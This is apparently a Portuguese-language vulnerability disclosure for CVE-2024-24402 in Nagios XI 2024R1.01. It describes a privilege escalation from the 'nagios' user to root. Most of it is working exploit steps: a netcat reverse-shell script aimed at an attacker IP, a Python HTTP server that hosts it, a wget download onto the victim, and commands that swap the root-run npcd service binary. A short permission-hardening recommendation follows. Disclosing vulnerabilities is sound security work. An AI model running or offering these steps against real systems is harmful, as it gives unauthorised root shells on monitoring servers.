Relatório de Vulnerabilidade

CVE Descoberta por: Jarod Jaslow (MAWK)

Detalhes da Vulnerabilidade:

Endpoint: Nagios XI Version 2024R1.01
Tipo de Vulnerabilidade: Escalação de Privilégios a partir do usuário "NAGIOS"
Resultado da Exploração: Acesso root total no sistema alvo

Passos para Reproduzir:

1. Criar uma nova instância do Nagios XI Versão 2024R1.01:

Baixe o arquivo OVA do Nagios XI de: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova
Implante o OVA para criar uma nova instância. -Usando meu relatório anterior, obtenha RCE no servidor

2. Abusar da Escalação de Privilégios:

Como o usuário "NAGIOS", crie um arquivo na máquina do atacante com o seguinte conteúdo:
```
#!/bin/bash
nc -e /bin/bash <Attacker IP> 4445
```

Pasted image 20240118113554

Hospede o arquivo na máquina do atacante por meio de um servidor HTTP Python:
```
python3 -m http.server 8000
```

Pasted image 20240118173813

Inicie um servidor de escuta Netcat (NC) na máquina do atacante:
```
nc -nlvp 4445
```

Pasted image 20240118173831

3. Executar a Exploração no Computador da Vítima:

Baixe o arquivo da máquina do atacante:
```
wget http://<Attacker IP>:8000/npcd
```

Pasted image 20240118173846

Execute os seguintes comandos para escalar privilégios e receber uma conexão como root:

sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
cp npcd /usr/local/nagios/bin/npcd
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

Pasted image 20240118173857

Pasted image 20240118173915

Recomendação:

Recomenda-se restringir a capacidade do usuário "NAGIOS" de escrever nos executáveis de serviço do Nagios que são executados como root. Isso pode ser alcançado implementando permissões de arquivo e controles de acesso mais rígidos para os diretórios e arquivos relevantes associados aos serviços do Nagios.

Isso deve ser corrigido em novas versões

CVE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-24402

CVE-2024-24402

Mais Populares